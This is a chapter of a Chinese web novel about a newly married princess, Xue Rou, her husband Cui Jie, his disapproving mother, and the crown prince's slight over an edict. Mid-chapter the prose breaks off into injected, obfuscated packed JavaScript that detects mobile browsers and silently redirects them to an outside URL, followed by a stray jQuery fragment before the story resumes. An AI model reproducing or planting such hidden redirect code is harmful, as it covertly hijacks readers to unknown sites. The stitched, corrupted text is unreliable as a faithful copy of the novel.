次日天未亮,崔介起床,盥洗穿戴完毕,全程轻手轻脚。
而后交代院子里的丫鬟们:“不必催公主起,夫人那边我亲去解释。”
崔介少年英明,前途无量,吩咐的话极有分量,这院子里的仆从们都乐意听从他的,当下几个丫鬟点头称是。
崔介回望一眼紧闭的房门,不自觉一笑,随即叫上云澜上余夫人处省晨。
余夫人一夜未合眼,满脑子尽是崔介昨晚撇下满堂宾客,毅然回婚房寻薛柔的背影,又生气又心寒。
自己的亲儿子,破天荒为一个劣迹斑斑的公主摄走心魄了,竟连大局也不顾了。
打量余夫人面色不虞,邝嬷嬷给一旁的小丫头使个眼色。
小丫头会意,撤走余夫人手边放凉了的茶,下去重添热茶。
邝嬷嬷见缝插针,纾解余夫人的心情:“夫人,昨儿少爷少夫人忙碌,歇得也迟,到现在没睡几个时辰呢,您也跟着操劳,不妨别等了,睡个回笼觉。”
余夫人脸拉得老长:“正是新婚,才要准时准点向婆母奉茶来。再说也不是我刁难人,是老祖宗传下的礼数。”
见劝不了,邝嬷嬷打消念想,恰逢换茶的小丫鬟匆匆赶回,邝嬷嬷亲手揭过茶盏,搁到余夫人面前。
“少爷。”
门口响起丫鬟问好的声音。
余夫人敛敛衣袖,原本直挺挺的腰板更板正了,一张保养得当的白脸严肃得可怕。
可瞧见崔介孤身而来,肃正的脸孔瞬时浮现疑惑。
崔介俯首见礼:“儿子向母亲请安了。”
“怎的只有你一人,新妇何在?”余夫人开门见山道。
既然薛柔已嫁入崔家,那便不论过往荣宠,单按现今是崔家二的儿媳来对待就好了。
崔介无视母亲的不悦,不紧不慢道:“公主娇弱,昨日劳累,儿子便没叫下人惊醒她,尽管让她养神了。”
余夫人如闻笑话,嗤笑不住:“好啊,你入朝为官,本事也大了,三番两次为你媳妇破例。”
崔介低眉顺眼道:“公主金玉之尊,下嫁已然委屈,儿子体贴她,均是合该的。”
余夫人鼻孔里呼哧呼哧出着气,摆明恼了,邝嬷嬷及时挺身而出,捧茶端与余夫人:“夫人,吃口茶吧。”
一面张罗崔介:“少爷,时辰不早了,您就去上朝吧,别耽误了正事。”
邝嬷嬷这是在打圆场。
崔介点点头,领了好意,遥向主位的余夫人作揖称退。
余夫人哑然许久,茶水什么的半口也咽不下去,胃里火烧火燎的,猛一拍桌子,怒道:“我是造了什么孽呀,一个两个的来气我!”
邝嬷嬷连哄带劝,几乎使遍浑身解数才将人安抚稳定。
这场风波算是消停了。
薛柔实在累极,兼无人催促,直到用午膳的时候方唤三喜伺候起身。
出嫁前,不仅新娘子熟悉各种事项,新娘子的贴身宫女亦得潜心进修有关闺房的种种事宜。
三喜擎一盆热水进来,置于架子上,自行绞好湿手巾递与薛柔。
薛柔扶着床头,双腿荡在床边,不解其意:“我自己洗就是,比干用手巾擦脸要干净。”
三喜不太自在道:“您可能会……会疼,不大方便的吧……”
薛柔呆愣片刻,恍然觉悟三喜的意思,嫩豆腐似的小脸泛起浅浅红光,嗔怪道:“少胡想,我好端端的,哪里也不疼。”
教引嬷嬷说过,疼是顺其自然的结果,怎么会不疼呢?
三喜百思不得其解,光站原地看她健步如飞至架子前,掬水洗脸,一直走神至她要干手巾,仓皇送了过去。
拭净水珠,薛柔坐于铜镜前,端详着朱砂般的嘴唇,思绪渐渐飘渺。
“崔大人,”一闪一闪的烛光下,薛柔目噙泪花,“我疼……”
一语了却,床尾微动的黑影停滞一瞬,旋即,一个低沉沙哑的声音传来:“臣去洗澡,公主休息吧。”
薛柔下意识松了口气,扯起被子盖住光秃秃的身体,心想等他洗完回来再闭眼入睡,未料体力透支,半刻挺不住,头一歪再也不觉了。
再度寻回意识,身旁空无一人,另一床被子齐整得堆叠于床尾,昨晚横七竖八的衣衫同样以一种体面的姿态悬于衣架上,好似那时的意乱情迷不过黄粱一梦而已。
“殿下,没错的话,今天理当去余夫人处敬茶来着……”三喜忽然记起这回事来。
镜中人已红妆满面、珠光宝气,薛柔拨一拨耳垂的长坠子,不以为意道:“我已晚了,索性吃过饭过去吧。”
她贵为公主,对父皇母后尚且免去了晨昏定省,打算去拜见,也全看在崔介的情面上,哪怕误了一个上午,想必余夫人也能接受的吧?
退一万步,余夫人不接受,木已成舟,她也不具备回到过去的能耐,还能怎样。
午后,薛柔迎着春日往余夫人住处。
邝嬷嬷出门迎接,笑盈盈说:“夫人知道公主娇生惯养,禁不住昨日的劳碌,请您不必专程跑一趟了,以后的晨昏定省也一并免了,您只管把这当自己家,自由自在的。”
余夫人或许开窍,或许破罐子破摔,全部不管了,崔介愿意偏袒,薛柔愿意称霸王,都随便,把崔家的房顶揭了也随便,横竖有一干姓崔的为他们收拾烂摊子。
有这精神头,倒不如多关心关心自己,她还想多活几年呢。
薛柔心下惊奇。
传闻余夫人大大小小全是规矩,出门在外先跟人家热络地寒暄半日,别人的好话赖坏一股脑接着,绝不肯把话掉地上去。
如此一个人,竟会放她顺心而为?
蹊跷,相当蹊跷。
“……婆母认真的?”她喊不惯婆母,酝酿一阵才不那么别扭地脱口。
及邝嬷嬷给予肯定地答复后,薛柔略略存疑,约三喜原路折回。
既然余夫人自己“开明”,那她也懒得犯矫情去追问过多,心安理得地盘算明日归宁带哪些礼物应景。
三喜一语道破玄机:“全天下的奇珍异宝全在宫里了,哪里需要精心准备礼物呢?殿下带上崔大人……带上驸马爷回去,就是最妥当的。”
话糙理不糙。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521205|170732||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
薛柔赞许有加:“你这丫头关键时候脑子挺灵活的嘛。”
逢景帝筹谋南征,一纸接一纸的文书、一道接一道的诏令源源不断颁布,翰林院随之晨兴夜寐,日不暇给,而景帝爱护公主,爱屋及乌,特批崔介三日假,准他早些时候回家陪公主。
饶恩典在前,崔介依然尽忠职守,起草完毕手头上的最后一封诏书,随身携带,前往东宫,呈与东宫过目。
从去年开始,太子逐步摆脱边缘化的处境,深受景帝信赖,每草拟一份诏令后,一定先由太子阅览,非军国大事,太子可自行决断,其余的,呈上御览,由圣上拍板。
崔介得皇帝赏识,主要负责整理机密文书、起草诏书等职务,因此,几乎日日同太子打交道。
然则崔介知分寸守底线,不越结党营私的雷池半步,太子自有王家扶持,崔介或是奉承或是疏远,皆无伤大雅,乃至不值一提,两人之间便长远地止步于点头之交上。
程胜照常迎崔介步入书房,只见薛怀义正伏案处理奏折,书案一角摞了高高地两摞折子,上面有红笔书写过的痕迹,看样子尽是批阅完了的。
“请太子殿下过目。”崔介说。
程胜伸手接住那卷诏书,奉上,却见薛怀义不闻不问,专心致志翻阅手中的折子。
程胜举得胳膊酸,一直咬牙硬撑着。
上次在金銮殿外,太子便似这般冷落他的,崔介记忆犹新,姑且见怪不怪,放任自流,半垂着眼睛,静临其动。
薛怀义还算仁慈,掐着程胜出糗以前,接了诏书,展开检阅。
“崔大人很急么?”
薛怀义撂下完全摊平了的诏书,抬眼看向崔介,似笑非笑。
崔介不明所以,唯好就提问作答:“臣没有急事需要经手。”
“哦?”薛怀义明显笑了,带有戏谑意味的笑,“那这‘柔’字因何短了一笔呢?”
他挥手令程胜将诏书拿给崔介,道:“崔大人,回去重写一份,仔细检查好,再来送,亦为时不晚。”
话里话外,奚落崔介心急才导致的马虎。
崔介飞速扫过那一列列字迹,果然发现“柔”字赫然缺了一点,十分羞愧,忙耗费半个时辰返回翰林院,提笔重拟,字字核对无误,再交与东宫核验,总计一个半时辰。
所幸未重蹈覆辙。
两遭往返下来,天色大黑,月明星稀,待策马奔回崔府,抓上了亥时的尾巴。
薛柔知他忙,可再忙,何至于折腾到大半夜才放人走的?
她狐疑不定,趁崔介关门沐浴的间隙,传唤云澜,细细过问。
“具体的,小人不清楚,只听说少爷往东宫送诏书,不知怎么,足足跑了两个来回。翰林院离东宫可有一段路呢,这么一套结束,小两个时辰没了。”云澜毫无保留道。
薛柔雾眉紧蹙,悄悄嘀咕:他薛怀义又在憋什么坏水,大黑天揪着人作贱!
三喜领命留意浴房的动静,闻得有响动,立时来回。
薛柔屏退诸人,并拢双腿坐在床沿,回思昨夜种种尴尬与缱绻,心中旖旎无限,未免忐忑不安。